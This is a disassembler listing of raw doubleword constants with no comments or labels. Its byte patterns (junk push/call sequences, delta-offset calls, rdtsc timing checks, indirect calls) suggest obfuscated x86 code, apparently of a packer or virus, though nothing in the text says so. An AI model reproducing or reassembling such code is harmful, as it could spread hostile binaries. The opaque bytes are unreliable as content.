		dd 4247489h, 4244481h, 19h, 0DEC35646h,	772C5AB7h, 198D8900h
		dd 6A060B11h, 69B58900h, 0FF060B17h, 0B2F2195h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 1C5BD5A1h, 33519D29h, 0D98B060Bh, 0A7B08D8Dh, 6A060Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0FF841C3h, 8Fh, 6AD1FF00h, 3E85300h,	20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 10AC353h, 9D9D799Ch
		dd 161FC099h, 11E8h, 75F39F00h,	4038A100h, 0A24645F2h
		dd 645E263Ah, 0F78198B6h, 63B7CA5Bh, 19BD835Bh,	1060B0Bh
		dd 48850Fh, 26A0000h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 15h, 0EAC35141h, 5060500Dh, 0F88B6652h, 8B66310Fh
		dd 61585AF8h, 8B240489h, 0B3301BDh, 1595FF06h, 89060B0Fh
		dd 0B07B58Dh, 2606BB06h, 7BE97D43h, 0E800000Eh,	0
aBas		db ']í˜',0
		db 10h,	6, 0E9h
		dd 7, 0B079599Fh, 6A91FAF9h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0B8AEC352h,	0CD98D89h
		dd 858D060Bh, 60E9293h,	0DF8B50F8h, 89240489h, 0B166D85h
		dd 35FF6406h, 0
		dd 2F41BD89h, 8964060Bh, 25h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0DF749EF1h
		dd 0A67011E0h, 229BD0Bh, 85FF060Bh, 60B066Dh, 6AD88B66h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0BF12FC17h, 4FBCBB4Ah, 800F35C0h, 6, 5799D0Bh
		dd 0B5FF060Bh, 60B0FD5h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 3DC35141h, 0BF217022h, 0DCDB6E6h, 29F59D8Bh
		dd 95FF060Bh, 60B2411h,	118E9h,	0C59D2900h, 0B0060B28h
		dd 2BBF6600h, 0D99D09BDh, 0E6060B29h, 0EE870h, 8D530000h
		dd 19FD3F59h, 0C72B3BB6h, 606A9178h, 0F98D8B60h, 0F060B02h
		dd 5F61CFBFh, 613C71E4h, 0DB830Fh, 0D5BB0000h, 0F33BF8Fh
		dd 0B70FC8B6h, 6BAF8h, 0B5890000h, 60B244Dh, 13E9C18Bh
		dd 12000000h, 4B5C0429h, 0F0DB92C3h, 39B10DB2h,	0B3B0D307h
		dd 0E8C129DFh, 7E904h, 0F63A0000h, 8FD7DE8Dh, 0E2F7664Ah
		dd 9D09C82Bh, 60B050Dh,	8B66D18Bh, 87E9DFh, 13E90000h
		dd 20000000h, 0F71171DCh, 0F48C641Ch, 0FB6B08D4h, 74A41BC4h
		dd 858B2A9Dh, 44004E49h, 1B8FCF81h, 0C08301CFh,	7E907h
		dd 21700000h, 0E95150BEh, 0C083C3h, 3BBFCB80h, 9830FD0h
		dd 60000000h, 0E961D88Bh, 3Dh, 0FFFF8D8Bh, 860FFFFFh, 6
		dd 1505BD8Bh, 0E183060Bh, 22840F01h, 89000000h,	0B2B3595h
		dd 0FFA58306h, 0FEFFFFFFh, 2E59BD8Bh, 9589060Bh, 44004E49h
		dd 740ABF66h, 0E9h, 25B58D00h, 1060F7Eh, 0B0DCDBDh, 66006A06h
		dd 0F921E781h, 32DD95FFh, 9D89060Bh, 60B0F51h, 1054B9h
		dd 0FCE18300h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	18C35646h, 2FDB7FD8h, 602617A5h, 13158D8Bh, 8961060Bh
		dd 0B2F099Dh, 6AFC06h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 783869C3h, 22A99D8Bh, 0F98B060Bh
		dd 9589C02Bh, 60B1B55h,	0BAh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0DBE3E7E8h
		dd 8B6D62C3h, 0B22A1BDh, 0C233AD06h, 0D003E8D1h, 7504E983h
		dd 0FAF381F4h, 3635D8Bh, 0B03D5BDh, 880D06h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0A18243C3h, 810F392Ah, 6, 2779B589h,	958B060Bh, 60B174Dh
		dd 26D9BD23h, 8D8B060Bh, 60B0119h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 99C35242h, 0E2251AE7h, 9D8B0AFEh
		dd 60B2175h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 884B33C3h, 4800Fh, 0BB660000h, 6A6BE7h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0F89CCAC3h, 0BF0F727Eh, 0E9BD2BDBh, 83060B00h, 0B29BDBDh
		dd 840F0006h, 0ADh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 87C35242h, 0D650C75h,	111E629Ah, 0B8A6h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 8B6602C3h, 0D78D8DFEh, 6A060B4Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 3F67C355h, 52E578FBh, 6060BF36h, 8E0Fh, 0E8810000h
		dd 0EFFC08Ah, 850F6161h, 3, 0E8FEB70Fh,	0Eh, 9CF85A6Bh
		dd 1EAC7286h, 172320BBh, 0F3816C84h, 25E37652h,	0FE1FF5Fh
		dd 8Eh,	9BD8300h, 60B10h, 4B4840Fh, 0FF90000h, 0BD83DFB7h
		dd 60B1009h, 0BE840F01h, 6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E8AFC350h
		dd 2AE38166h, 9BD83C9h,	3060B10h, 459860Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 331C3DC3h, 0B2935BDh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0F89873C3h, 0D258EE4Ah
		dd 6AD98C66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0AD81C351h, 36AEF9BCh,	816603A3h
		dd 804E72D7h, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 5BE4A7C3h, 1A85BD89h, 0C90A060Bh
		dd 13B840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 8E44FAC3h, 98E090CFh, 858B24DFh
		dd 60B317Dh, 85335B56h,	60B06EDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 60C35040h, 0EF1CF025h, 4173E162h
		dd 698D8960h, 89060B13h, 0B1A0995h, 50906106h, 9E852h
		dd 0F5D70000h, 0F53628ADh, 520001C6h, 310F5B5Bh, 5325BF66h
		dd 5750585Ah, 905B5F56h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 67C4F7C3h, 0D98AD4AEh
		dd 35BD89E8h, 68060B09h, 29D0F1B1h, 12E8h, 8F172400h, 7662828Ah
		dd 0FED33537h, 1FE9E589h, 0E8B0D299h, 11h, 0FBA50BDDh
		dd 0ECD2FD4Eh, 0C3290B61h, 3F4C4EA8h, 8A0FB6h, 5B000000h
		dd 2434815Fh, 29CFF24Eh, 66D9BF0Fh, 0FF1331BBh,	0B03D195h
		dd 0FFB70F06h, 0A81D8589h, 6A060Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E32C66C3h
		dd 38FDEC8Eh, 0CB81662Ch, 0EAE9E2B7h, 89000001h, 0B0139B5h
		dd 15858B06h, 66060EA8h, 7086C781h, 1800C7h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0FB9FAC3h, 187h, 0B58BF900h,	60EA819h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 0D0C35747h, 7A8F87C7h
		dd 0B8DC5998h, 68B0F27h, 29000000h, 0B2AAD95h, 0E1858B06h
		dd 6A060B06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0EFAFC353h, 3EAA87Fh, 0B0E69BDh
		dd 0F068906h, 689h, 35958900h, 8B060B20h, 0B317D85h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 895A55F1h, 0B2AE1BDh, 11850106h, 89060B19h, 6A0446h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 33AD8EC3h, 97D6F9D4h, 8198589h, 6051060Bh, 7E9EB8Ah
		dd 78000000h, 0E56EDFC2h, 5F61FCC8h, 0D08B6096h, 4870Fh
		dd 0BB660000h, 506119E7h, 86DCBB66h, 52006A96h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 1AAB0AD7h
		dd 0B5FF12A1h, 60EA815h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 84C35747h, 4E8276Bh, 0FF000000h, 0BB001F03h
		dd 78853F77h, 24448B50h, 8BF98A04h, 87BF6600h, 244489C7h
		dd 0F88B6604h, 50006A58h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0B2993FD5h, 0F20C8C7Ch
		dd 1D858DFCh, 90060EA8h, 0FA8B6652h
		dd 10E8505Bh, 28000000h, 6946BAE4h, 29A3A4A8h, 3DD0F10Bh
		dd 66F992C9h, 5F59D1BFh, 0D195FF90h, 8B060B03h,	0BD0B61FBh
		dd 60B2B59h, 100985C7h,	3060Bh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0C2B1D4C3h
		dd 874DF11Eh, 2B91BFD5h, 8960793Ch, 0B2819BDh, 85850B06h
		dd 61060B09h, 0A81DBD83h, 0F00060Eh, 4684h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0D3816C14h, 18092C28h, 39E9h, 188A0F00h, 0E9000000h
		dd 13h,	5F92BFAAh, 7C2291E0h, 0E91CEA9Ch, 0EAD2BBE0h, 509137F2h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 90EF3AC3h, 6684ACC0h, 0E27FC381h,	1009BD83h
		dd 0F03060Bh, 4B785h, 1DBD8300h, 60EA8h, 4AA840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 64116CC3h, 31B7BB23h, 0A81DB5FFh, 6A060Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0FFA8DAC3h
		dd 69A9BE38h, 0BD8951F9h, 60B2445h, 338DBD8Bh, 95FF060Bh
		dd 60B083Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	23C35747h, 36755144h, 8B19C8F8h, 6E956h, 0E6980000h
		dd 67661CD9h, 0A811B58Bh, 6C7060Eh, 10001h, 31299589h
		dd 5350060Bh, 3830Fh, 8B660000h, 34895BF9h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8BDD428Ch, 0B271DBDh, 0E5B58906h, 0FF060B02h, 0EA81DB5h
		dd 9E806h, 0A6E40000h, 0A800A606h, 0FC62D85h, 68Bh, 0B5BD0B00h
		dd 5B060B04h, 64195FFh,	0D98B060Bh, 0A811B58Bh,	960060Eh
		dd 0B1AC59Dh, 14E906h, 51E90000h, 60F58060h, 0FFDEA504h
		dd 0E4A9035Eh, 0E9AEE235h, 8B6120D2h, 0B121D85h, 0ACF8006h
		dd 0C48689h, 0C6BB0000h, 0E8256F66h, 8,	0BD0E609Fh, 667F4DF9h
		dd 0B553BF66h, 4D958B5Bh, 6A060B17h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 5ACDC357h
		dd 570D500Ah, 8B663866h, 0DAB70FD9h, 6A04C283h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0EF25C352h, 66205089h, 858DD98Bh, 60EBAEEh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 35C35141h, 54B1EE95h
		dd 0E261C565h, 0D7816622h, 9D8B45E6h, 60B13E1h,	0B88689h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 3EF097C3h, 29DDBD8Bh, 9D23060Bh, 60B1815h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0B5073BC3h, 339D9D0Bh, 8B66060Bh,	1DB5FFF8h
		dd 6A060EA8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0D8E5C355h, 2060B142h,	6E95Eh
		dd 39A50000h, 0C76CE2D3h, 0F1595FFh, 0B589060Bh, 60B32B9h
		dd 0DE8B6696h, 0EE96050h, 0B0000000h, 59B3CA29h, 527617B5h
		dd 9BEA95A9h, 0E9966180h, 0Bh, 4A2D81FBh, 48E5EE81h, 0F0FFDADh
		dd 84h,	1DB5FF00h, 0BB060EA8h, 79B5E5D1h, 6E78166h, 0F595FFF0h
		dd 6A060B00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0FA35C352h, 800534A5h,	66DDE8E0h
		dd 0BD83F88Bh, 60B2191h, 47840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0C5FFC351h, 2729BD8Bh, 8B96060Bh, 0AABB50DAh, 9652C870h
		dd 13E9h, 7456B500h, 3D422C97h,	2A5613F3h, 67B69D28h, 0CD2E5F20h
		dd 0B5FFAFB7h, 60EA81Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 0F2C35040h, 8B66C5D1h, 0F5BD8BF9h, 0FF060B14h
		dd 0B128195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0AEE13742h, 0F45466Eh, 68Dh, 1D958900h
		dd 3060B0Fh, 0B1771BDh,	1DB5FF06h, 6A060EA8h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 7EC5C355h, 665396B5h, 0BF66F98Bh, 95FFEA50h,	60B0B8Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0EBC35646h
		dd 2419AB1Fh, 9D8B6E53h, 60B1021h, 0B95BD8Bh, 0BD83060Bh
		dd 60B17F1h, 91840F02h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B57DC357h
		dd 0C0BB7ED3h, 0BE9E1E1h, 0A2000000h, 0D0FD14BAh, 871FB789h
		dd 858B2997h, 60B2EC5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 69C35040h, 8F4953D5h,	0F0AB18Ch, 0C6DBB7h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 1E4E0A60h, 0AC5A3765h, 68D0Fh, 8D290000h
		dd 60B0CD9h, 6B985C7h, 60Bh, 0B5890000h, 60B0965h, 0FFF23EE9h
		dd 91B589FFh, 8B060B0Eh, 51006AC1h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 858D7777h, 60B28A9h, 810Fh
		dd 50500000h, 0F46B352h, 89585A31h, 8A0F2404h, 2, 6AF88Ah
		dd 6E9h, 0DF5B4E00h, 6A611F01h,	1A810F00h, 0E8000000h
		dd 0Eh,	414CB8EBh, 2E607F77h, 0A67D2C48h, 8D898E8Dh, 60B2D89h
		dd 94858D5Bh, 6A061010h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 535DC351h, 7E8h, 5F3EB700h
		dd 0B5B9AFCh, 835F5F50h, 8E805C0h, 5D000000h, 0AF3C5C47h
		dd 0E97AD82Dh, 6, 0DD7E1DE3h, 905B3515h, 0B13BBF57h, 505F5453h
		dd 23C7BF66h, 6DBD8B90h, 6A060B22h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 6AD7C5EBh
		dd 3870F00h, 66000000h,	850FDF8Bh, 6, 100D8589h, 95FF060Bh
		dd 60B2F21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	55C35747h, 0A8C0FFEh, 0E9000000h, 5, 95D3DA3Fh
		dd 0B08D8D9Ch, 6A060EA7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0FFDCC355h,	619589D1h
		dd 83060B27h, 0B0B19BDh, 850F0106h, 34h, 17CD9D89h, 26A060Bh
		dd 90DE8B66h, 0E950DE8Ah, 13h, 0D37EBBFCh, 0AE768BF9h
		dd 648C7435h, 577173Ch,	90E90BA1h, 1599BD29h, 95FF060Bh
		dd 60B0F15h, 0E66E9h, 0E800h, 815D0000h, 10109EEDh, 0D19D3106h
		dd 6A060B2Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 8459C357h, 0E78166BEh,	858D6860h
		dd 60E9293h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0D0C35141h, 90A55E49h, 0DD4941E6h, 0F81B786h, 0F50F9BFh
		dd 585h, 9072BB00h, 4893989h, 0FA8B6624h, 35FF64h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0BB6BC357h, 89AE3DBFh, 0B08D58Dh,	25896406h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 58C35040h
		dd 858965E8h, 60B0011h,	66D85FFh, 8B66060Bh, 0BFFF6ADAh
		dd 0DA777ADh, 0DA5B5FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 8CA6BAC3h, 7195463Eh
		dd 9529C8C8h, 60B0415h,	241195FFh, 0E9060Bh, 0F000001h
		dd 68Ah, 840F00h, 0B0000000h, 29BD0300h, 0E6060B02h, 8DBD8B70h
		dd 0E4060B18h, 0F9BD8B71h, 3C060B00h, 0D4830F61h, 8B000000h
		dd 0C8B60FFBh, 5219D09h, 0B589060Bh, 60B2AADh, 6BAh, 759D8B00h
		dd 8B060B10h, 0CCC780C1h, 0FC04E8C1h, 0E2F766F8h, 0FC8FABBh
		dd 0DE9530Fh, 0E7000000h, 0A6D9C003h, 31F21421h, 9A29E047h
		dd 0BFC82B5Bh, 59A79F99h, 8A0FD18Bh, 3,	0E9F2F780h, 7Bh
		dd 38D0Fh, 8B660000h, 4C858BDFh, 8B505F4Ch, 7C083FBh, 0DDD9529h
		dd 0C083060Bh, 0EDBD8900h, 3B060B2Eh, 10830FD0h, 0BB000000h
		dd 2E5E8343h, 46E9h, 3D9D2B00h,	8B060B16h, 0FFFFFF8Dh
		dd 9D9D8BFFh, 83060B06h, 840F01E1h, 2Bh, 0FFFFA583h, 0E8FEFFFFh
		dd 0Dh,	87898024h, 5DED00D1h, 9EACF2F1h, 71953149h, 5B060B15h
		dd 4C4C9589h, 0E9505Fh,	8D000000h, 0F8E79B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 3188BA2Eh, 0B3301BDh, 71BD8B06h, 6A060B28h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 4FEF7F0Ch, 6784F0BDh, 127D9D89h, 95FF060Bh, 60B32DDh
		dd 0B9E1CB80h, 1075h, 29A18D31h, 0E183060Bh, 69B589FCh
		dd 0FC060B11h, 41B50160h, 66060B0Fh, 61EF10B8h,	0B8FB8B66h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 56C35040h
		dd 0DF8B5028h, 759D2B5Bh, 0BA060B13h, 0
		dd 0AD17D780h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 7143C356h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	41C35141h, 99EE8D86h, 89CE8033h, 0B0531B5h, 880D06h
		dd 81660000h, 0FE251EBh, 1587h,	9E800h,	0CC820000h, 0AABB58FDh
		dd 811D6B6Ah, 7DED36DFh, 958B5F45h, 60B174Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 36C35343h, 0FF90E64h
		dd 8D8BDAB7h, 60B0119h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0F2C35040h, 2449B589h, 0CB81060Bh, 76407ADCh
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	13E95818h
		dd 0DF000000h, 0C51A07FAh, 29079FA0h, 85F945A7h, 0B3B601E4h
		dd 0BD8B9505h, 60B30E5h, 29BDBD83h, 0F00060Bh, 0A284h
		dd 11E86000h, 0A0000000h, 2E6C1BCCh, 21CA87DCh,	93693310h
		dd 0FB1F3BBAh, 20E5BD01h, 895B060Bh, 0B20259Dh,	0D3816106h
		dd 313282B7h, 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0FEB64227h, 0CFDF8166h
		dd 0D78D8D22h, 66060B4Dh, 0A5C0DF81h, 6850Fh, 0BD8B0000h
		dd 60B0DC1h, 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 9F6C9AC3h, 0C88E2773h, 0FF5D4DFh
		dd 489h, 4DB75100h, 0C99D8B5Bh,	83060B29h, 0B1009BDh, 840F0006h
		dd 4DDh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 16h,	48C35646h, 8166DDF2h, 0F95A6CF7h, 134D9D8Bh, 0BD83060Bh
		dd 60B1009h, 0C1840F01h, 89000004h, 0B20F585h, 0DF8B6606h
		dd 1009BD83h, 0F03060Bh, 47586h, 9C06BF00h, 6A605BB1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0D704C357h, 0A1C1CFA5h, 0DEB70FAFh, 6AD98C66h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 1F79C350h, 26F0AF29h, 0E9FF1914h,	5, 133577C7h
		dd 4E180B0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	2DC35646h, 5D3C0A1Eh, 89DBB90Ah, 0B0AD58Dh, 0FC90A06h
		dd 11A84h, 7E900h, 0B4A70000h, 0BC2D8BAEh, 11958979h, 8B060B09h
		dd 0B317D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0F5CB3FF7h, 66F20339h, 9589FE8Bh
		dd 60B2F35h, 6ED8533h, 6A060Bh,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 88F9BEC3h, 7C28C3A9h
		dd 1C1EBB50h, 48937E9h,	44D38124h, 6A049B5Bh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 234A3755h, 91BC8581h, 8E9C6h, 1FCF0000h, 4969592Fh
		dd 0A8683535h, 53D092A1h, 815FD98Bh, 62572404h,	6A2F8Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0FFE3F8C3h, 0B03D195h, 0CDBD8B06h, 89060B19h, 0EA81D85h
		dd 13E906h, 0BBA30000h,	0A5766037h, 3E6F9F78h, 0D27B6747h
		dd 3F409BAAh, 253E99Ah,	7E80000h, 36000000h, 0BEC6C8CFh
		dd 0BF668E2Fh, 8B5BE204h, 0EA81585h, 0C7FB8B06h, 1800h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 85D1327Ah, 5FB73C4Ch, 0A819B58Bh, 0BD8B060Eh
		dd 60B31A1h, 6E1858Bh, 9589060Bh, 60B06F1h, 6A0689h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 5845E4C3h, 7D858B73h, 6A060B31h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0EC34C352h
		dd 0D8456483h, 299D2322h, 89060B02h, 6A0446h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 35171AC3h
		dd 38B032B3h, 8B5660E9h, 0B1745B5h, 59525E06h, 40BB5061h
		dd 892409A6h, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 654EF3C3h, 14CB4027h, 8F0F916Ch
		dd 0Eh,	8F0F60h, 8B000000h, 0B1BA1B5h, 89606106h, 0B177D95h
		dd 97F18106h, 61638476h, 0A815B5FFh, 0CE9060Eh,	0EE000000h
		dd 0AEC7B193h, 71642F74h, 0F2E23E9h, 1F8Ch, 13E800h, 90160000h
		dd 0C7E8AA01h, 9A57912Fh, 1C2B3264h, 71D24058h,	19BD8B8Fh
		dd 5B060B0Dh, 3D1DFA68h, 81FE8AC6h, 0E6052404h,	6A39E1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0F9581BC3h, 0A81D858Dh, 6A060Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 8F98B0C3h
		dd 0C6EAAE65h, 9D89F448h, 60B29F1h, 10E9h, 311A5B00h, 547F0BFFh
		dd 273C141Bh, 0B600B4F1h, 0C9D380ACh, 9E890h, 0DE690000h
		dd 431D261Bh, 5710414Fh, 5FDF8B66h, 0BB66505Fh,	6A901256h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 11EEC350h, 5BD03FD6h, 12B9BD89h, 95FF060Bh
		dd 60B03D1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0ECC35141h, 0A67F8D51h,	8B66BEBFh, 68D0FFBh, 81000000h
		dd 27490DEFh, 0BF666139h, 85C7BF3Dh, 60B1009h, 3, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D0C35545h, 0A5EF8056h
		dd 8D01F95Bh, 60B0EB5h,	0A81DBD83h, 0F00060Eh, 4584h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 24CC3B11h, 0D8771464h, 0CE8h, 5AC35300h, 86DEDAA0h
		dd 0A8CCFFDCh, 0E7816691h, 0E95FA5C7h, 21h, 3271BD23h
		dd 3050060Bh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 346AED67h, 1DB4AC10h, 0BD8B9619h
		dd 60B1505h, 0CDBD0960h, 61060B02h, 9E9h, 999E7C00h, 0BBFAEB43h
		dd 820F3D8Ch, 6, 328D8D31h, 0D88B060Bh,	1009BD83h, 0F03060Bh
		dd 42E85h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 72DE6E36h, 0DF816657h, 835FB0F1h
		dd 0EA81DBDh, 840F0006h, 3FBh, 8B19D8Bh, 0B5FF060Bh, 60EA81Dh
		dd 10219D0Bh, 95FF060Bh, 60B083Dh, 12E9F8h, 38760000h
		dd 3D2C08FFh, 0A296E20Dh, 40ACBC2Ah, 0B54E4366h, 0A811B58Bh
		dd 8B66060Eh, 106C7FAh,	66000100h, 96AF9DBBh, 5050FA8Bh
		dd 2820F52h, 60000000h,	5A310F61h, 810F9658h, 26h, 0FE8h
		dd 0B9EE6D00h, 14B63847h, 0E3717E69h, 4196037Dh, 0CE9h
		dd 0CF328000h, 0FB95F014h, 2A0D75DEh, 0B5FF5B7Dh, 60EA81Dh
		dd 33819D8Bh, 95FF060Bh, 60B0641h, 0E855006Ah, 3, 5DC35D20h
